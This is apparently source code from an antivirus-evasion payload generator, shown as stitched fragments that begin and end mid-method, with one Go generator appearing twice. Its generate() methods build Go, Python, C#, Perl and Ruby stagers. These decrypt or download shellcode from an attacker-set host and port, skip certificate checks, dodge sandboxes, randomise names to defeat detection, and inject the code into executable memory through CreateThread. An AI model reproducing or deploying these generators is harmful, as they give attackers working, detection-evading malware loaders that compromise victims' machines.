payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i)
payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo)
payload_code += "return string(%s)\n}\n" % (outp)
payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length)
payload_code += "%s := []byte(%s)\n" % (foo, base64Url)
payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo)
payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length)
payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length)
payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value)
payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri)
payload_code += "func main() {\n"
# Sandbox code goes here
if sandbox_checks != '':
payload_code += sandbox_checks
payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port)
payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength)
payload_code += "defer %s.Body.Close()\n" % (response)
payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response)
payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload)
payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout)
payload_code += "for %s, %s := range %s {\n" % (x, value, payload)
payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value)
payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout)
payload_code += '}' * num_curlys
self.payload_source_code = payload_code
return
def generate(self):
# Generate the variable names
randctypes = evasion_helpers.randomString()
ShellcodeVariableName = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
known_plaintext_string = evasion_helpers.randomString()
key_guess = evasion_helpers.randomString()
secret_key = evasion_helpers.randomString()
small_constrained_key_variable = evasion_helpers.randomString()
decoded_ciphertext = evasion_helpers.randomString()
decoded_known = evasion_helpers.randomString()
decoded_shellcode = evasion_helpers.randomString()
RandCipherObject = evasion_helpers.randomString()
RandPadding = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ''
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# encrypt the shellcode and get our randomized key
encoded_ciphertext, constrained_key, encryption_key = encryption.constrained_aes(Shellcode)
encoded_ciphertext = encoded_ciphertext.decode('ascii')
# Use the secret we received earlier to encrypt our known plaintext string
encrypted_plaintext_string = encryption.known_plaintext(encryption_key, known_plaintext_string)
encrypted_plaintext_string = encrypted_plaintext_string.decode('ascii')
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
# Create Payload code
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + 'import os\n'
payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \"" + constrained_key + '\" + str(' + key_guess + ')\n'
payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + secret_key + ', AES.MODE_ECB)\n'
payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
payload_code += '\t' * num_tabs_required + '\ttry:\n'
payload_code += '\t' * num_tabs_required + '\t\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
payload_code += '\t' * num_tabs_required + '\t\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + '\t\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
payload_code += '\t' * num_tabs_required + '\texcept:\n'
payload_code += '\t' * num_tabs_required + '\t\tpass'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + 'import os\n'
payload_code += '\t' * num_tabs_required + small_constrained_key_variable + ' = \'' + constrained_key + '\'\n'
payload_code += '\t' * num_tabs_required + RandPadding + ' = \'*\'\n'
payload_code += '\t' * num_tabs_required + 'for ' + key_guess + ' in range(1000000, 10000000):\n'
payload_code += '\t' * num_tabs_required + '\t' + secret_key + " = \'" + constrained_key + '\' + str(' + key_guess + ')\n'
payload_code += '\t' * num_tabs_required + '\t' + RandCipherObject + ' = AES.new(' + encryption_key + ', AES.MODE_ECB)\n'
payload_code += '\t' * num_tabs_required + '\t' + decoded_ciphertext + ' = base64.b64decode(\'' + encrypted_plaintext_string + '\')\n'
payload_code += '\t' * num_tabs_required + '\t' + decoded_known + ' = ' + RandCipherObject + '.decrypt(' + decoded_ciphertext + ').decode(\'ascii\')\n'
payload_code += '\t' * num_tabs_required + '\t' + 'if ' + decoded_known + '.rstrip(\'*\') == \'' + known_plaintext_string + '\':\n'
payload_code += '\t' * num_tabs_required + '\t\t' + decoded_shellcode + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n'
payload_code += '\t' * num_tabs_required + '\t\t' + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + decoded_shellcode + ')\n'
payload_code += '\t' * num_tabs_required + '\t\t' + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + '\t\t' + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + '\t\t' + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + '\t\t' + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# imports and namespace setup
payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading;\n"
payload_code += "namespace %s { class %s {\n" % (
evasion_helpers.randomString(), evasion_helpers.randomString())
# code for the randomString() function
randomStringName = evasion_helpers.randomString()
bufferName = evasion_helpers.randomString()
charsName = evasion_helpers.randomString()
t = list(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
random.shuffle(t)
chars = ''.join(t)
# logic to turn off certificate validation
validateServerCertficateName = evasion_helpers.randomString()
payload_code += "private static bool %s(object sender, System.Security.Cryptography.X509Certificates.X509Certificate cert,System.Security.Cryptography.X509Certificates.X509Chain chain,System.Net.Security.SslPolicyErrors sslPolicyErrors) { return true; }\n" % (
validateServerCertficateName)
# code for the randomString() method
payload_code += "static string %s(Random r, int s) {\n" % (
randomStringName)
payload_code += "char[] %s = new char[s];\n" % (bufferName)
payload_code += "string %s = \"%s\";\n" % (charsName, chars)
payload_code += "for (int i = 0; i < s; i++){ %s[i] = %s[r.Next(%s.Length)];}\n" % (
bufferName, charsName, charsName)
payload_code += "return new string(%s);}\n" % (bufferName)
# code for the checksum8() function
checksum8Name = evasion_helpers.randomString()
payload_code += "static bool %s(string s) {return ((s.ToCharArray().Select(x => (int)x).Sum()) %% 0x100 == 92);}\n" % (
checksum8Name)
# code fo the genHTTPChecksum() function
genHTTPChecksumName = evasion_helpers.randomString()
baseStringName = evasion_helpers.randomString()
randCharsName = evasion_helpers.randomString()
urlName = evasion_helpers.randomString()
random.shuffle(t)
randChars = ''.join(t)
randomReturn = evasion_helpers.randomString(4)
payload_code += "static string %s(Random r) { string %s = \"\";\n" % (
genHTTPChecksumName, baseStringName)
payload_code += "for (int i = 0; i < 64; ++i) { %s = %s(r, 3);\n" % (
baseStringName, randomStringName)
payload_code += "string %s = new string(\"%s\".ToCharArray().OrderBy(s => (r.Next(2) %% 2) == 0).ToArray());\n" % (
randCharsName, randChars)
payload_code += "for (int j = 0; j < %s.Length; ++j) {\n" % (
randCharsName)
payload_code += "string %s = %s + %s[j];\n" % (urlName, baseStringName,
randCharsName)
payload_code += "if (%s(%s)) {return %s;}}} return \"%s\";}" % (
checksum8Name, urlName, urlName, randomReturn)
# code for getData() function
getDataName = evasion_helpers.randomString()
strName = evasion_helpers.randomString()
webClientName = evasion_helpers.randomString()
sName = evasion_helpers.randomString()
payload_code += "static byte[] %s(string %s) {\n" % (getDataName,
strName)
payload_code += "ServicePointManager.ServerCertificateValidationCallback = %s;\n" % (
validateServerCertficateName)
payload_code += "WebClient %s = new System.Net.WebClient();\n" % (
webClientName)
# Proxy
if self.required_options["PROXY"][0].lower() == "y":
defaultWebProxyName = evasion_helpers.randomString()
payload_code += "IWebProxy %s = WebRequest.DefaultWebProxy;\n" % (
defaultWebProxyName)
payload_code += "%s.Credentials = CredentialCache.DefaultCredentials;\n" % (
defaultWebProxyName)
payload_code += "%s.Proxy = %s;\n" % (webClientName,
defaultWebProxyName)
payload_code += "%s.Headers.Add(\"User-Agent\", \"Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)\");\n" % (
webClientName)
payload_code += "%s.Headers.Add(\"Accept\", \"*/*\");\n" % (
webClientName)
payload_code += "%s.Headers.Add(\"Accept-Language\", \"en-gb,en;q=0.5\");\n" % (
webClientName)
payload_code += "%s.Headers.Add(\"Accept-Charset\", \"ISO-8859-1,utf-8;q=0.7,*;q=0.7\");\n" % (
webClientName)
payload_code += "byte[] %s = null;\n" % (sName)
payload_code += "try { %s = %s.DownloadData(%s);\n" % (
sName, webClientName, strName)
payload_code += "if (%s.Length < 100000) return null;}\n" % (sName)
payload_code += "catch (WebException) {}\n"
payload_code += "return %s;}\n" % (sName)
# code fo the inject() function to inject shellcode
injectName = evasion_helpers.randomString()
sName = evasion_helpers.randomString()
funcAddrName = evasion_helpers.randomString()
hThreadName = evasion_helpers.randomString()
threadIdName = evasion_helpers.randomString()
pinfoName = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "static void %s(byte[] %s) {\n" % (injectName,
sName)
payload_code += " if (%s != null) {\n" % (sName)
payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" % (
funcAddrName, sName)
payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (
sName, funcAddrName, sName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" % (
hThreadName)
payload_code += " UInt32 %s = 0;\n" % (threadIdName)
payload_code += " IntPtr %s = IntPtr.Zero;\n" % (pinfoName)
payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (
hThreadName, funcAddrName, pinfoName, threadIdName)
payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" % (
hThreadName)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += "static void %s(byte[] %s) {\n" % (injectName,
sName)
payload_code += " if (%s != null) {\n" % (sName)
payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(
pinfoName, sName)
payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(
funcAddrName, pinfoName, sName)
payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(
funcAddrName, sName, sName)
payload_code += ' UInt32 {} = 0;\n'.format(threadIdName)
payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(
hThreadName, funcAddrName, threadIdName)
payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(
hThreadName)
# code for Main() to launch everything
sName = evasion_helpers.randomString()
randomName = evasion_helpers.randomString()
curlyCount = 0
payload_code += "static void Main(){\n"
payload_code2, curlyCount = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
payload_code += "Random %s = new Random((int)DateTime.Now.Ticks);\n" % (
randomName)
payload_code += "byte[] %s = %s(\"https://%s:%s/\" + %s(%s));\n" % (
sName, getDataName, self.required_options["LHOST"][0],
self.required_options["LPORT"][0], genHTTPChecksumName, randomName)
payload_code += "%s(%s);}\n" % (injectName, sName)
while (curlyCount != 0):
payload_code += '\t' * curlyCount + '}'
curlyCount -= 1
# get 12 random variables for the API imports
r = [evasion_helpers.randomString() for x in range(12)]
y = [evasion_helpers.randomString() for x in range(17)]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
r[0], r[1], r[2], r[3], r[4], r[5], r[6], r[7], r[8], r[9],
r[10], r[11])
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n""" % (
y[0], y[1], y[2], y[3], y[4], y[5], y[6], y[7], y[8], y[9],
y[10], y[11], y[12], y[13], y[14], y[15], y[16])
if self.required_options["USE_ARYA"][0].lower() == "y":
payload_code = encryption.arya(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
# How I'm tracking the number of nested tabs needed
# to make the payload
num_ends_required = 0
payload_code = "use Win32::API;\n"
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ''
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate variable names
shellcode_variable = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
rand_valloc = evasion_helpers.randomString()
rand_movemem = evasion_helpers.randomString()
rand_cthread = evasion_helpers.randomString()
rand_waitfor = evasion_helpers.randomString()
rand_heapcreate = evasion_helpers.randomString()
rand_heapalloc = evasion_helpers.randomString()
rand_thread = evasion_helpers.randomString()
rand_protect = evasion_helpers.randomString()
protect_out = evasion_helpers.randomString()
payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % (
shellcode_variable, Shellcode)
payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n"
payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n"
payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n"
payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (
ptrName, shellcode_variable, shellcode_variable)
payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
rand_heapcrout = evasion_helpers.randomString()
payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n"
payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n"
payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n"
payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n"
payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % (
ptrName, shellcode_variable, shellcode_variable)
payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % (
ptrName)
payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n"
payload_code += '}\n' * num_ends_required
self.payload_source_code = payload_code
return
def generate(self):
# How I'm tracking the number of nested tabs needed
# to make the payload
num_ends_required = 0
payload_code = ""
# randomly generate out variable names
payloadName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
threadName = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
payload_code = "require 'rubygems'\n"
payload_code += "require 'win32/api'\n"
payload_code += "include Win32\n"
payload_code += "require 'base64'\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options[
"DOMAIN"][0] != "X" or self.required_options["USERNAME"][
0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
# Base64 Encode Shellcode
Shellcode = base64.b64encode(bytes(Shellcode,
'latin-1')).decode('ascii')
payload_code2, num_ends_required = gamemaker.senecas_games(self)
payload_code = payload_code + payload_code2
# randomly generate out variable names
payloadName = evasion_helpers.randomString()
ptrName = evasion_helpers.randomString()
valloc_random = evasion_helpers.randomString()
heap_name = evasion_helpers.randomString()
heapcreate_random = evasion_helpers.randomString()
heapalloc_random = evasion_helpers.randomString()
rtlmove_random = evasion_helpers.randomString()
createthread_random = evasion_helpers.randomString()
waitfor_random = evasion_helpers.randomString()
protect_out = evasion_helpers.randomString()
rand_protect = evasion_helpers.randomString()
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n"
payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n"
payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n"
payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n"
payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n"
payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n"
payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n"
# Close out all the if statements
for iteration in range(num_ends_required):
payload_code += 'end\n'
self.payload_source_code = payload_code
return
def generate(self):
memCommit = evasion_helpers.randomString()
memReserve = evasion_helpers.randomString()
pageExecRW = evasion_helpers.randomString()
kernel32 = evasion_helpers.randomString()
procVirtualAlloc = evasion_helpers.randomString()
base64Url = evasion_helpers.randomString()
size = evasion_helpers.randomString()
err = evasion_helpers.randomString()
randBase = evasion_helpers.randomString()
length = evasion_helpers.randomString()
foo = evasion_helpers.randomString()
random = evasion_helpers.randomString()
outp = evasion_helpers.randomString()
i = evasion_helpers.randomString()
randTextBase64URL = evasion_helpers.randomString()
getURI = evasion_helpers.randomString()
sumVar = evasion_helpers.randomString()
checksum8 = evasion_helpers.randomString()
uri = evasion_helpers.randomString()
value = evasion_helpers.randomString()
hostAndPort = evasion_helpers.randomString()
port = self.required_options["LPORT"][0]
host = self.required_options["LHOST"][0]
response = evasion_helpers.randomString()
uriLength = randint(5, 255)
payload = evasion_helpers.randomString()
bufferVar = evasion_helpers.randomString()
x = evasion_helpers.randomString()
heapcreatevariable = evasion_helpers.randomString()
heapallocvariable = evasion_helpers.randomString()
heapcreateout = evasion_helpers.randomString()
allocvarout = evasion_helpers.randomString()
errorvariable = evasion_helpers.randomString()
errorvariabledos = evasion_helpers.randomString()
cust_func = evasion_helpers.randomString()
# sandbox check code
sandbox_checks, num_curlys = gamemaker.senecas_games(self)
payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n"
payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n"
if self.required_options["PROCESSORS"][0].lower() != "x":
payload_code += "\"runtime\"\n"
# Add in other imports based on checks being performed
if self.required_options["USERNAME"][0].lower() != "x":
payload_code += "\"strings\"\n\"os/user\"\n"
if self.required_options["MINPROCS"][0].lower() != "x":
payload_code += "\"os\"\n"
if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false':
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
if self.required_options["SLEEP"][0].lower() != "x":
payload_code += "\"net\"\n\"encoding/binary\"\n"
if self.required_options["BADMACS"][0].lower() != 'false':
if "net" not in payload_code:
payload_code += "\"net\"\n"
if "strings" not in payload_code:
payload_code += "\"strings\"\n"
payload_code += ")\n"
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "const (\n"
payload_code += "%s = 0x1000\n" % (memCommit)
payload_code += "%s = 0x2000\n" % (memReserve)
payload_code += "%s = 0x40\n)\n" % (pageExecRW)
payload_code += "var (\n"
payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32)
payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32)
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW)
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n"
payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n"
payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n"
payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size)
payload_code += heapcreateout + ", _, " + errorvariabledos + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n"
payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n"
payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, errorvariabledos, allocvarout)
payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo)
payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random)
payload_code += "var %s []byte\n" % (outp)
payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i)
payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo)
payload_code += "return string(%s)\n}\n" % (outp)
payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length)
payload_code += "%s := []byte(%s)\n" % (foo, base64Url)
payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo)
payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length)
payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length)
payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value)
payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri)
payload_code += "func main() {\n"
# Sandbox code goes here
